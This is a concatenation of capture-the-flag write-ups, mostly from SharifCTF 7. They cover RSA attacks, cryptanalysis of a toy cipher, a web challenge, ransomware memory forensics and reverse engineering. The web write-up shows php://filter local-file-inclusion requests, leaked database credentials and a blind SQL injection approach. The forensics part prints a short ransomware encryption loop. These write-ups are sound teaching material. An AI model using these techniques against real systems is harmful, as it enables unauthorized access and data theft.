It still takes some time to complete, but it is managable (left it running while doing other stuff so...). It could possibly be made faster by Hensel lifting, but I decided not to try it. When done, we get a message which is a image file.:
# Baby's hands (300 p)```We think that Trump's right hand man has been sending out flags from his personal computer, but we need to be sure. See if you can make anything out of the trafficwe intercepted.```
The initial two lines are
```python{d:n:c}{64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109:162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677:161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009}```
OK, so the private exponent `d` is published. We try to compute cᵈ (mod n) and look at the binary data with binwalk. No results. Hm... so, what if we need the public exponent `e` to compute the plaintext? We can probably find this with Wieners attack! Let us try it!
```pythonimport libnum, grocid
f = open('intercepted', 'r')
data = f.read()data = data.split('\n')
for line in data[1:]: d, n, c = [int(x) for x in line[1:-1].split(':')] e = grocid.wiener.attack(d, n)```
This yields
```flag{G3t_1t?_1t_h4s_4_sm4ll_d}```
# SMTPresident (400 p)
```The FBI reopened their investigation of Hillary Clinton after they recovered some interesting files from her personal email server.
emailspubkeysflag```
The file `pubkeys` contains a set of public keys with very small public exponent (e = 17). Assuming that every message sent on the same date is identical, we can use Håstad's broadcast attack. Incidentially, we have 17 of each every date. The following Python code will do just fine:
```pythonfrom os import listdirfrom os.path import isfile, joinfrom Crypto.PublicKey import RSAfrom base64 import b64decodeimport re, libnum, gmpy
def get_files(path): return [f for f in listdir(path) if isfile(join(path, f))] pubkeysfiles = get_files('./pubkeys')emailfiles = get_files('./emails')pubkeys = {}encrypted_emails = {}
for pubkeyfile in pubkeysfiles: f = open('./pubkeys/' + pubkeyfile, 'r') data = f.read().replace('-----BEGIN RSA PUBLIC KEY-----', '').replace('-----END RSA PUBLIC KEY-----', '') data = b64decode(data) pubkeys[pubkeyfile] = RSA.importKey(data) f.close()
for emailfile in emailfiles: f = open('./emails/' + emailfile, 'r') data = f.read() sender = re.findall('To: (.*)@dnc', data)[0] date = re.findall('Date: (.*)\n', data)[0] content = re.findall('Content: (.*)', data)[0] if not date in encrypted_emails: encrypted_emails[date] = {} encrypted_emails[date][sender] = int(content, 16)
message_content = Falsefor date in encrypted_emails: moduli = [] remainders = [] for x in encrypted_emails[date]: moduli.append(pubkeys[x].n) remainders.append(encrypted_emails[date][x])
x = libnum.modular.solve_crt(remainders, moduli) x0 = gmpy.mpz(x) xr = x0.root(17) message = libnum.n2s(int(xr[0])) if not message_content: message_content = ['?'] * len(message) for i, c in enumerate(message): if c != '#': message_content[i] = c
print ''.join(message_content)```
which outputs
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
OK, so let us assume that the key mentioned in the message is the lower bits of the private exponent. There is a method to solve this problem. A script which implements this method can be found [here](https://github.com/grocid/CTF/tree/master/CSAW/2016#still-broken-box-400-p) and [here](https://grocid.net/2016/03/14/0ctf-equation/).
Unfortunately, the computation did not finish (e = 65537 takes some time to run, even multithreaded). Pity. |
# Blobfish - Cryptography - 300 points
> We designed our own proprietary cipher, called Blobfish. We were very proud of it, until someone mounted a chosen-plaintext attack on the cipher, and sent the master key to us. He requested a large amount of money to show us the weakness in Blobfish. Fortunately, we have the queries (plaintexts) he made to our system, as well as the responses (ciphertexts). >> Our CEO decided to hire someone less greedy to help us redesign Blobfish. But he must first prove he is worthy. Look at the log, and the cipher design. If you can find the master key, use the function `make_flag()` on it to generate the flag. Send us the flag, and we'll get back to you for further negotiations. >> PS: `make_flag()` is defined at the end of Blobfish.py.
We are given a list of 200 plaintext -> ciphertext pairs done with an unknown encryption key, and our job is to find the key.
The Blobfish cipher is a simple[Substitution-permutation network](https://en.wikipedia.org/wiki/Substitution-permutation_network). It has a block size of36 bits, and the substitution step uses a 6-to-6 bit S-box. It has 3 rounds, with each round using a separate 36-bit key.(As an aside, this is a totally different structure than the Blo**w**fish cipher, which uses a Feistel network, so not surewhy they picked that name)
The overall structure of the encryption of a block is:
sbox0 perm0 xor_key0 sbox1 perm1 xor_key1 sbox2 perm2 xor_key2 It is clear from the data in `log.txt` that the cipher is weak - encrypting `0x02CC0F857` gives `0xE9BFB5DFD` as a resultand encrypting the same plaintext with a few bits flipped, `0x02CC0F859` results in `0xE2BFF5DFD` which is the sameciphertext with some bits flipped.
The first idea was to check the S-box function for obvious weaknesses like linearity, where one or more of the output bitsare only affected by a subset of the input bits. Sadly, a quick analysis via the provided `test_sbox.py` script showed itwas nonlinear.
After that, we tried to find some pattern in weak plaintext and ciphertext pairs like the ones above, using our own keys,but even though there were tons of them, no clear relation emerged.
We then considered just directly brute forcing the keys, but even with a meet-in-the-middle attack, one of the sides wouldhave a keyspace of 2*36 bits, which is too large for a head-on attack.
But then we realized that a full brute force wasn't needed - consider the ciphertext after the `sbox2` step - we have sixdistinct 6-bit segments. Going forward, we can see the bits being spread out in `perm2` and xor-ed with six bits of keymaterial, which then results in six bits of ciphertext. If we pick one of the ciphertexts in the log and pick an arbitrary6-bit key `key2a`, we are able to partially decrypt those bits, even back through `perm2` and `sbox2`:
abcdef sbox2 |______| |______| |______| |______| |______| |______| ghijkl ...... ...... ...... ...... ...... perm2 |___________________________________________________| .h.... ...... ....l. .j..i. .k.... ..g... xor2 |.v....___......___....z.___.y..w.___.x....___..u...| key2a = uvwxyz ct 011001 110100 111100 100010 100111 110111
`abcdef = inv_sbox(ghijkl) = inv_sbox(0^u, 1^v, 1^w, 0^x, 0^y, 0^z)`
We can then pick an arbitrary key `key1a` and that lets us decrypt back through `perm1`:
sbox1 |______| |______| |______| |______| |______| |______| .h.... ...l.. ..g... ...i.. ..k... j..... perm1 |___________________________________________________| ghijkl xor1 |mnopqr_____________________________________________| key1a = mnopqr abcdef
Given a ciphertext and two 6-bit keys `key1a` and `key2a`, we can now deduce six bits of the result after the `sbox1`substitution. While it might not seem like much, this means that for each of the sboxes, we can eliminate half theinputs, leaving 32 out of 64 possible inputs for each box.
We then look at the plaintext corresponding to that ciphertext. We see that `sbox0` and `perm0` can easily be calculatedwithout knowing any key material. Focusing a single sbox in `sbox1` - we now know the six bits of plaintext before the xorwith a six-bit `key0a`, and also 32 possible inputs for that box. Xor-ing each of those 32 inputs with the plaintext bitsresult in 32 possible candidate keys for `key0a`. Then the trick - **when the keys are the same, but the plaintext andciphertext differ, the same `key0a` must be present in all candidate keys for that sbox**. Basically, given `key1a` and`key2a`, the intersection of all possible inputs for a specific sbox in `sbox1` must be nonzero, and if the intersection hasexactly one element, that is a strong candidate for `key0a`.
So, the final algorithm for finding the key is - Iterate over all `key1a` and `key2a`, using the 200 plaintext-ciphertextpairs to narrow down the possible `key0a` candidates. This is a 12-bit brute force, which is easily done. We then repeat thesame process six times, each time focusing on different sboxes, which eventually gives us all bits of the keys.
The final key was [83193ca54 d90e5e945 b29645f8b] and the flag we got from that key was**SharifCTF{8aae67ec50080a359fc92beca22c52e3}** |
# Web - Irish Home
After some time looking at the site without founding anything, I started to find some other pages via brute-force, to this I used `patator`:```root@kali:~# patator http_fuzz url=http://ctf.sharif.edu:8082/FILE0.php 0=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x ignore:code=40400:08:48 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2016-12-19 00:08 CET00:08:48 patator INFO - 00:08:48 patator INFO - code size:clen | candidate | num | mesg00:08:48 patator INFO - ----------------------------------------------------------------------00:08:51 patator INFO - 200 4895:4491 | index | 15 | HTTP/1.1 200 OK00:08:52 patator INFO - 403 387:213 | | 14 | HTTP/1.1 403 Forbidden00:08:59 patator INFO - 200 2466:2062 | login | 53 | HTTP/1.1 200 OK00:09:27 patator INFO - 200 1498:1094 | header | 191 | HTTP/1.1 200 OK00:09:39 patator INFO - 302 2342:1959 | admin | 259 | HTTP/1.1 302 Found```
Ok, after this step, I though I was stuck but I still tried to perform some requests using Burp repeater, by chance, I tryed to request `admin.php`: ```GET /admin.php HTTP/1.1Host: ctf.sharif.edu:8082
HTTP/1.1 302 FoundServer: nginx/1.6.1Date: Sun, 18 Dec 2016 10:21:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 1959Connection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheLocation: /login.php
<html><head> <meta charset="utf-8"> <script src="https://storage.googleapis.com/code.getmdl.io/1.0.6/material.min.js"></script> <link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.8/css/materialize.min.css"> <link rel="stylesheet" href="http://ctf.sharif.edu/ctf7/static/style.css"> <title>Irish Home</title></head><body> <nav> <div class="nav-wrapper"> Irish Home menu Login Irish Home <div class="divider"/> Login </div> </nav>
<div class="row"> <div class="col s6 offset-s3"> <div class="card-panel">
<table> <tr> <td>Page</td> <td>Actions</td> </tr>
<tr> <td>blog</td> <td> delete edit </td> <tr> <td>notice</td> <td> delete edit </td></table></div></div></div><script src="http://ctf.sharif.edu/ctf7/static/jquery-3.1.1.min.js"></script><script src="http://ctf.sharif.edu/ctf7/static/materialize/js/materialize.min.js"></script><script>
$(function () { $(".button-collapse").sideNav(); })</script></body></html>```So ok, the user is redirected but the content of the page is displayed. Here we can see some admin pages:- `delete.php`: page used to delete content- `edit.php`: page used to edit pages- `pages/show.php`: page used to display content
After trying to access unsuccessfully to `deleted.php` and `edit.php` I tryed to use `show.php` and to include some files (in this order):```GET /pages/show.php?page=php://filter/convert.base64-encode/resource=../login HTTP/1.1Host: ctf.sharif.edu:8082 --> Allow to read the login function
GET /pages/show.php?page=php://filter/convert.base64-encode/resource=delete HTTP/1.1Host: ctf.sharif.edu:8082 --> Allow to get the location of the deleted files
GET /pages/show.php?page=php://filter/convert.base64-encode/resource=notice HTTP/1.1Host: ctf.sharif.edu:8082 --> Allow to get the name of the deleted file
GET /pages/show.php?page=php://filter/convert.base64-encode/resource=../deleted_3d5d9c1910e7c7/flag HTTP/1.1Host: ctf.sharif.edu:8082 --> Allow to get the format of the final flag```
We now know the format of the flag and the username of the administrator, but we still don't have the flag neither the password:```$username = 'Cuchulainn';$password = ; // Oi don't save me bleedin password in a shithole loike dis.
$salt = 'd34340968a99292fb5665e';
$tmp = $username . $password . $salt;$tmp = md5($tmp);
$flag = "SharifCTF{" . $tmp . "}";
echo $flag;```So we have to get the admin password, let's try to analyse the `login.php` file:``` if(!empty($_POST['username']) && !empty($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password'];
if(strpos($password, '"') !== false) $text = "SQL injection detected"; else { $servername = "localhost"; $db_username = "irish_user"; $db_password = "3d2f27921e2c13e7b66e7b486b0feae3dde1ef25"; $dbname = "irish_home";
$conn = new mysqli($servername, $db_username, $db_password, $dbname); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }
$sql = "SELECT * FROM users where username=\"$username\" and BINARY password=\"$password\"";
$result = $conn->query($sql);
if (!$result) trigger_error('Invalid query: ' . $conn->error);
if ($result->num_rows > 0) { if(strpos($username, '"') !== false) $text = "SQL injection detected"; else { $_SESSION['logged_in'] = $username; header('Location: /admin.php'); } }```There we find something interresting ; in fact, there is a SQL detection mecanism used:- If password contains double quote then an error is returned to the user- Else the SQL request `"SELECT * FROM users where username=\"$username\" and BINARY password=\"$password\""` is performed : - If there is no result the standard error page is returned - Else : - If a double quote is found in the user name an error `"SQL injection detected"` is displayed to the user - Else the user is logged in
The validation scheme is vulnerable to blind SQL injection. In fact, we are able to know (using some SQL injection method) if the statement is true (standard error) or if it is false (error contains "SQL injection detected"). So after some try, we got the password and then the flag (thanks Iansus for the help !):```PASSWORD = 2a7da9c@088ba43a_9c1b4Xbyd231eb9``` |
https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7/Forensics/LockyYour point: 300 + 15<span> + 200/4</span> = 365Your rank: 3Solved by 4 team(s) |
# ROFL###### 400 Points
### ProblemGiven is a cypher text, and a link that leads to a "Base64" wikipedia page
### WriteupWe need to decode the text file a certain amount of times using Base64 in order to get the flag.The amount of times was experimentally found to be '33'
The below program decodes the cypher text and returns the flag.```shell#!/bin/bash
cp rofl old.txttouch new.txt
for i in {1..33}do cat old.txt | base64 -d -i > new.txt cp new.txt old.txtdone
rm old.txtcat new.txt | less
```
If the script returns a string similar to 'E8 C9 F6 C9 CE E1 _ DE F5 C4 C5 F3' it must be decoded on https://2cyr.com/decode/?lang=ru
###### Flag: ХиЖинА_чУдеС
|
# VoIP (forensics 100)
###ENG[PL](#pl-version)
In the task we get a [pcap](voip.pcap) of a VoIP call.There was not much to do here since Wireshark can out-of-the-box decode this for us:
[!](ws.png)
And the flag is `SECCON{9001IVR}`
###PL version
W zadaniu dostajemy [pcapa](voip.pcap) z rozmowy przez VoIP.Nie było tu zbyt wiele do roboty bo wireshark potrafi to od razu zdekodować:
[!](ws.png)
A flaga to `SECCON{9001IVR}` |
## SnakeWe were given a 32-bit executable VMProtected file. Debugging VMProtected is difficult and OllyDbg was detected and after wasting a lot of time on debugging ‘snake.exe', I was frustrated.
I double checked the file and found this string:
`Number of foods= number of used bytes in windows drive.`
I hadn't noticed it before, I don't know why but I couldn't solve my problem with OllyDbg and other debuggers stuck on protections inside VMProtect so I decided to debug my VMWare with WinDbg and it was just another pain in the neck, because it was detected too, therefore I thought maybe I had to hook some API , but my friend suggested API Monitor's breakpoint feature. I tried it and it was very straightforward.'Snake.exe' uses ‘RtlDosPathNameToNtPathName_U' to get Windows directory path and ‘NtQueryVolumeInformationFile' to calculate Windows drive size, so I tried to change ‘RtlDosPathNameToNtPathName_U' path to another drive with API Monitor and the rounds changed, before trying to write any code I changed it to a non-existent drive and ta-da-...!
Problem solved without any further ado.
Seems easy, right? :D |
# Locky Forensics 300 + 50 pts
### Author: florek
We are given `memory.dmp` file that is supposed to be a memory dump of ransomware infected PC. File is 256 MB.First step is to identify used OS, simplest way is to search for some string like *debian*, *ubuntu*, *windows* or use binwalk that will find a bunch of unix paths.
After quick search it looks like a debian, so we can download appropriate [volatility profiles](https://github.com/volatilityfoundation/profiles/tree/master/Linux/Debian/x64). With those profiles we can do some investigation. [Here are useful profile commands](https://github.com/volatilityfoundation/volatility/wiki/Linux-Command-Reference)
Exact OS version```bash> volatility-2.5.standalone.exe --plugins=profiles --profile=LinuxDebian86x64 linux_banner -f d:\workspace\CTFS\Sharif16\memory.dmp
Linux version 3.16.0-4-amd64 ([email protected]) (gcc version 4.8.4 (Debian 4.8.4-1) ) #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19)```Despite deb8u2 version it looks like profile LinuxDebian86x64 works better than LinuxDebian82x64 so I will keep using it
Executed commands ```bash> volatility-2.5.standalone.exe --plugins=profiles --profile=LinuxDebian86x64 linux_bash -f d:\workspace\CTFS\Sharif16\memory.dmp
Pid Name Command Time Command-------- -------------------- ------------------------------ ------- ... 610 bash 2016-11-30 12:54:50 UTC+0000 rm file_* 610 bash 2016-11-30 12:54:50 UTC+0000 grep -ril "BEGIN PUBLIC KEY" 610 bash 2016-11-30 12:54:50 UTC+0000 cat .locky_1480503269 610 bash 2016-11-30 12:54:50 UTC+0000 head -c 10 file_2.locky | hexdump 610 bash 2016-11-30 12:54:50 UTC+0000 apt-get install binutils 610 bash 2016-11-30 12:54:50 UTC+0000 hexdump -C file_3 610 bash 2016-11-30 12:54:50 UTC+0000 apt-get install curl 610 bash 2016-11-30 12:54:50 UTC+0000 hexdump -C file_3.locky 610 bash 2016-11-30 12:54:50 UTC+0000 head -c 10 | hexdump 610 bash 2016-11-30 12:54:50 UTC+0000 rm privkey.pem 610 bash 2016-11-30 12:54:50 UTC+0000 ./run.sh 610 bash 2016-11-30 12:54:50 UTC+0000 cd dump/ 610 bash 2016-11-30 12:54:50 UTC+0000 dd if=/dev/fmem of=memo.dmp bs=1M count=256 ... (some elements removed)```We can see here some post infection actions, like removing the private key. We can also see some *.locky files
Running processes```bash> volatility-2.5.standalone.exe --plugins=profiles --profile=LinuxDebian86x64 linux_pslist -f d:\workspace\CTFS\Sharif16\memory.dmp
Offset Name Pid Uid Gid DTB Start Time------------------ -------------------- --------------- --------------- ------ ------------------ ----------...0xffff88000d1615f0 login 496 0 0 0x000000000d0c2000 00xffff88000a6e0190 fail2ban-server 503 0 0 0x000000000d399000 00xffff88000bc162d0 bash 530 0 0 0x000000000dc1e000 00xffff88000cbf6b60 bash 610 0 0 0x000000000d032000 00xffff88000a4fe210 python 617 0 0 0x000000000dfcf000 00xffff88000a5b0310 dd 652 0 0 0x000000000d15b000 0```
By searching for `locky` string in the memory dump we can find a part of python script that was used to infect the system. Following this lead we can try to dump `python's` heap and and recover some of its objects.
```bash> volatility-2.5.standalone.exe --plugins=profiles --profile=LinuxDebian86x64 linux_proc_maps -p 617 -f d:\workspace\CTFS\Sharif16\memory.dmp
Offset Pid Name Start End Flags Pgoff Major Minor Inode File Path------------------ -------- -------------------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- ---------...0xffff88000a4fe210 617 python 0x0000000000caa000 0x0000000000e6c000 rw- 0x0 0 0 0 [heap]...> volatility-2.5.standalone.exe --plugins=profiles --profile=LinuxDebian86x64 linux_dump_map -p 617 -s 0x0caa000 -f d:\workspace\CTFS\Sharif16\memory.dmp --dump-dir=dump
Task VM Start VM End Length Path---------- ------------------ ------------------ ------------------ ---- 617 0x0000000000caa000 0x0000000000e6c000 0x1c2000 dump\task.617.0xcaa000.vma```Dumped file has only 2MB and contains all the information that we need to recover encrypted files. To get the list of encrypted files, we can use the following command:```bash> volatility-2.5.standalone.exe --plugins=profiles --profile=LinuxDebian86x64 linux_enumerate_files -f d:\workspace\CTFS\Sharif16\memory.dmp
Inode Address Inode Number Path------------------ ------------------------- ----...0xffff880000c3ec80 1966090 /root/.locky_14805107360xffff88000cceac80 1966091 /root/file_3.locky0xffff88000ccea898 1966092 /root/file_4.locky0xffff88000992dc80 1966088 /root/file_5.locky0xffff8800099aa0c8 1966089 /root/file_1.locky0xffff8800099aa4b0 1966093 /root/file_2.locky```Unfortunately trying to dump those files using `linux_find_file` yields empty 512 B files, but we get the correct size which will be useful later.
By examining python's heap we can find following elements:* [Ransomware code at the beginning](ransomware.py)* [Public key in PEM format](publickey.pem) (searching for `----BEGIN PUBLIC`)* [Private key in PEM format](privatekey.pem) (searching for `---BEGIN RSA`)
Ransomware script encrypted files using 4096 bit RSA. Every file was encrypted multiple times:```pythonhome = expanduser("~")files = glob.glob(home + '/*')LC, i = [], 0for f in files: if isfile(f): if not f.endswith('.locky'): fd = open(f, 'r') g = open(f + '.locky', 'w') round = stamp % 14 msg = fd.read() for _ in xrange(round): msg = privkey.encrypt(msg, 0)[0] LC.append(msg)```Here is script that will decrypt those files using extracted private key:```pythonfrom Crypto.PublicKey import RSAprivkey = open('privatekey.pem').read()decryption_key = RSA.importKey(privkey)iterations = 1480510736 % 14 # timestamp recovered from file listing
for i in range(1, 6): data = open('file_%d.locky' % (i,), 'rb').read() for _ in range(iterations): data = decryption_key.decrypt(data) open('file_%d.dec' % (i,), 'wb').write(data)```
Now all we have to do is to extract encrypted files and run decrypter on them. Fortunately ransomware stored encrypted files in a `LC` list, so it should be possible to find them in memory. To get an idea what to look for to identify those list elements we can create simple python script that fills in the list with `0xAA` bytes, dump its heap and look for those bytes in memory. It looks like the list entries are proceeded by `size 00000000 FFFFFFFF` sequence and are located near the end of heap. We can now look for `00020000 00000000 FFFFFFFF ` (`00020000` is 512 in little endian) to locate our files. Since files are encrypted their entropy will be high, this fact also helps locating them.Encrypted files can be dumped using for example hiew:
After running decryption script on extracted files `file_4` contains our flag `SharifCTF{df90036c153c345dc707d693225f29e3}` |
## Find Login
We were given a 32-bit executable VMProtected file and an ini file which contains this section:
```[Login]Username=SharifCTFPassword=16074598B43D002C25E5719B4CC6E3AB0233F56285C92668CBA3DB7FF8D4138DC0D8738D4B830A520EEF2E432624760E5273AFC1E03409A948323A07FCCFB3C2923212C8965B3FFCD028F95EEC4D2F4F3FDE63DFFDD243B2C6D6B1A4142C97604F35```
As you can see the username is plain and we just need to find the password. So I tried to debug and find it:
Here is username comparison:
Hash cleanup:
And get the correct hash:
```453d259be3338568dbd4c08d0aef260eaf344807b33296fcf94d3fdf43d61460```
Continue tracing until this call:
I was using `123` as the password and you can see it’s concatenated to `SharifCTF7` as salt and inside it you can see it uses `SHA256` to generate our hash. So I have to crack it:
```SHA256(PASSWORD+"SharifCTF7") == "453d259be3338568dbd4c08d0aef260eaf344807b33296fcf94d3fdf43d61460"```
`Hashcat` plus `rockyou.txt` helps us to find the password and it was `147467`. |
# Camera Model
There is an image inside the binary. The image was extracted with binwalk and the camera model could be easily found by checking the image's properties (DSLR4781). |
# 100 - Salad
## Problem Statement
“The fault, dear Brutus, is not in our stars, but in ourselves.” (I.ii.141) Julius Caesar in William Shakespeare’s Julius Caesar Cipher Text: 7sj-ighm-742q3w4t
## Overview
Decrypt a Caesar cipher with a custom alphabet
## Solution
From the problem statement, we can reasonably infer that the ciphertext is to be decrypted in a manner similar to that of a caesar cipher. However, since the flag has to begin with uppercase "RC3-2016", we conclude that a custom alphabet was used for encryption. We take a look at the charset of the ciphertext (excluding the dashes - those don't get shifted), and find that it fits within abcdefghijklmnopqrstuvwxyz0123456789
Our next step is to find out the correct shift. This python snippet does just that, and prints out the message if it contains "RC3-2016".
import string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits
ctext = "7sj-ighm-742q3w4t"
def shift(n): message = "" for index, char in enumerate(ctext): if char == "-": message += char else: message += alphabet[(alphabet.index(ctext[index])+n)%len(alphabet)] return message.upper()
for i in range(len(alphabet)): message = shift(i) if "RC3" in message: print(message)
Running it returns the flag:
RC3-2016-ROMANGOD
## Flag
RC3-2016-ROMANGOD |
##Synced
There are about 3 floppy images in the `pcap`; We extracted some pictures from that and fixed them but found no flag.There is a suspicious pattern at the end of the file; Seems like a colorful Linux terminal output.We cut that part and `cat` in terminal and got the flag
 |
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# Getit
## DescriptionOpen and read the flag file!
## Solution
After download the getit file we need to take a look what kind of file we are working on.```bashfile getitgetit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=e389cd7a4b9272ba80f85d7eb604176f6106c61e, not stripped```
Let's run the file```./getit```
We got any return, so let's check the file with the strings command```bashstrings getit/lib64/ld-linux-x86-64.so.2libc.so.6fopen__stack_chk_failstrlenfseekfputcfcloseremovefprintf__libc_start_main__gmon_start__GLIBC_2.4GLIBC_2.2.5fffff./tmp/flaHg.txf[]A\A]A^A_;*3$"c61b68366edeb7bdce3c6820314b7498SharifCTF{????????????????????????????????}*******************************************[...]```
So we got some kind of string about the flag in hex above the SharifCTF line but it does not work, another interesting thing we have in the output is the /tmp/flaHg.txf, so let's check the calls```bashltrace ./getit__libc_start_main(0x400756, 1, 0x7ffdc20a5348, 0x4008f0 <unfinished ...>strlen("c61b68366edeb7bdce3c6820314b7498"...) = 32strlen("c61b68366edeb7bdce3c6820314b7498"...) = 32strlen("c61b68366edeb7bdce3c6820314b7498"...) = 32[...]fopen("/tmp/flag.txt", "w") = 0x144b010fprintf(0x144b010, "%s\n", "********************************"...) = 44strlen("SharifCTF{b70c59275fcfa8aebf2d59"...) = 43fseek(0x144b010, 30, 0, 30) = 0fputc('5', 0x144b010) = 53fseek(0x144b010, 0, 0, 0) = 0fprintf(0x144b010, "%s\n", "********************************"...) = 44strlen("SharifCTF{b70c59275fcfa8aebf2d59"...) = 43fseek(0x144b010, 24, 0, 24) = 0fputc('a', 0x144b010) = 97fseek(0x144b010, 0, 0, 0) = 0[...]fputc('{', 0x144b010) = 123fseek(0x144b010, 0, 0, 0) = 0fprintf(0x144b010, "%s\n", "********************************"...) = 44strlen("SharifCTF{b70c59275fcfa8aebf2d59"...) = 43fclose(0x144b010) = 0remove("/tmp/flag.txt") = 0+++ exited (status 0) +++```
As we can see above we have the fopen function to a /tmp/flag.txt file, but in the end of the output we have the remove function to get rid of the file. So let's open the file into the gdb```gdb -q(gdb) file getitReading symbols from getit...(no debugging symbols found)...done.(gdb) set disassembly-flavor intel(gdb) disassemble mainDump of assembler code for function main: 0x0000000000400756 <+0>: push rbp 0x0000000000400757 <+1>: mov rbp,rsp 0x000000000040075a <+4>: push rbx 0x000000000040075b <+5>: sub rsp,0x38 0x000000000040075f <+9>: mov rax,QWORD PTR fs:0x28 0x0000000000400768 <+18>: mov QWORD PTR [rbp-0x18],rax 0x000000000040076c <+22>: xor eax,eax 0x000000000040076e <+24>: mov DWORD PTR [rbp-0x40],0x0 0x0000000000400775 <+31>: mov eax,DWORD PTR [rbp-0x40] 0x0000000000400778 <+34>: movsxd rbx,eax 0x000000000040077b <+37>: mov edi,0x6010a0 0x0000000000400780 <+42>: call 0x4005e0 <strlen@plt> 0x0000000000400785 <+47>: cmp rbx,rax 0x0000000000400788 <+50>: jae 0x4007c7 <main+113> 0x000000000040078a <+52>: mov eax,DWORD PTR [rbp-0x40] 0x000000000040078d <+55>: lea edx,[rax+0xa] 0x0000000000400790 <+58>: mov eax,DWORD PTR [rbp-0x40] 0x0000000000400793 <+61>: cdqe 0x0000000000400795 <+63>: movzx eax,BYTE PTR [rax+0x6010a0] 0x000000000040079c <+70>: mov ecx,eax 0x000000000040079e <+72>: mov eax,DWORD PTR [rbp-0x40] 0x00000000004007a1 <+75>: and eax,0x1 0x00000000004007a4 <+78>: test eax,eax 0x00000000004007a6 <+80>: je 0x4007af <main+89> 0x00000000004007a8 <+82>: mov eax,0x1 0x00000000004007ad <+87>: jmp 0x4007b4 <main+94> 0x00000000004007af <+89>: mov eax,0xffffffff 0x00000000004007b4 <+94>: add eax,ecx 0x00000000004007b6 <+96>: mov ecx,eax 0x00000000004007b8 <+98>: movsxd rax,edx 0x00000000004007bb <+101>: mov BYTE PTR [rax+0x6010e0],cl 0x00000000004007c1 <+107>: add DWORD PTR [rbp-0x40],0x1 0x00000000004007c5 <+111>: jmp 0x400775 <main+31> 0x00000000004007c7 <+113>: movabs rax,0x616c662f706d742f 0x00000000004007d1 <+123>: mov QWORD PTR [rbp-0x30],rax 0x00000000004007d5 <+127>: mov DWORD PTR [rbp-0x28],0x78742e67 0x00000000004007dc <+134>: mov WORD PTR [rbp-0x24],0x74 0x00000000004007e2 <+140>: lea rax,[rbp-0x30] 0x00000000004007e6 <+144>: mov esi,0x400974 0x00000000004007eb <+149>: mov rdi,rax 0x00000000004007ee <+152>: call 0x400650 <fopen@plt> 0x00000000004007f3 <+157>: mov QWORD PTR [rbp-0x38],rax 0x00000000004007f7 <+161>: mov rax,QWORD PTR [rbp-0x38] 0x00000000004007fb <+165>: mov edx,0x601120---Type <return> to continue, or q <return> to quit--- 0x0000000000400800 <+170>: mov esi,0x400976 0x0000000000400805 <+175>: mov rdi,rax 0x0000000000400808 <+178>: mov eax,0x0 0x000000000040080d <+183>: call 0x400620 <fprintf@plt> 0x0000000000400812 <+188>: mov DWORD PTR [rbp-0x3c],0x0 0x0000000000400819 <+195>: mov eax,DWORD PTR [rbp-0x3c] 0x000000000040081c <+198>: movsxd rbx,eax 0x000000000040081f <+201>: mov edi,0x6010e0 0x0000000000400824 <+206>: call 0x4005e0 <strlen@plt> 0x0000000000400829 <+211>: cmp rbx,rax 0x000000000040082c <+214>: jae 0x4008b5 <main+351> 0x0000000000400832 <+220>: mov eax,DWORD PTR [rbp-0x3c] 0x0000000000400835 <+223>: cdqe 0x0000000000400837 <+225>: mov eax,DWORD PTR [rax*4+0x601160] 0x000000000040083e <+232>: movsxd rcx,eax 0x0000000000400841 <+235>: mov rax,QWORD PTR [rbp-0x38] 0x0000000000400845 <+239>: mov edx,0x0 0x000000000040084a <+244>: mov rsi,rcx 0x000000000040084d <+247>: mov rdi,rax 0x0000000000400850 <+250>: call 0x400640 <fseek@plt> 0x0000000000400855 <+255>: mov eax,DWORD PTR [rbp-0x3c] 0x0000000000400858 <+258>: cdqe 0x000000000040085a <+260>: mov eax,DWORD PTR [rax*4+0x601160] 0x0000000000400861 <+267>: cdqe 0x0000000000400863 <+269>: movzx eax,BYTE PTR [rax+0x6010e0] 0x000000000040086a <+276>: movsx eax,al 0x000000000040086d <+279>: mov rdx,QWORD PTR [rbp-0x38] 0x0000000000400871 <+283>: mov rsi,rdx 0x0000000000400874 <+286>: mov edi,eax 0x0000000000400876 <+288>: call 0x400600 <fputc@plt> 0x000000000040087b <+293>: mov rax,QWORD PTR [rbp-0x38] 0x000000000040087f <+297>: mov edx,0x0 0x0000000000400884 <+302>: mov esi,0x0 0x0000000000400889 <+307>: mov rdi,rax 0x000000000040088c <+310>: call 0x400640 <fseek@plt> 0x0000000000400891 <+315>: mov rax,QWORD PTR [rbp-0x38] 0x0000000000400895 <+319>: mov edx,0x601120 0x000000000040089a <+324>: mov esi,0x400976 0x000000000040089f <+329>: mov rdi,rax 0x00000000004008a2 <+332>: mov eax,0x0 0x00000000004008a7 <+337>: call 0x400620 <fprintf@plt> 0x00000000004008ac <+342>: add DWORD PTR [rbp-0x3c],0x1 0x00000000004008b0 <+346>: jmp 0x400819 <main+195> 0x00000000004008b5 <+351>: mov rax,QWORD PTR [rbp-0x38] 0x00000000004008b9 <+355>: mov 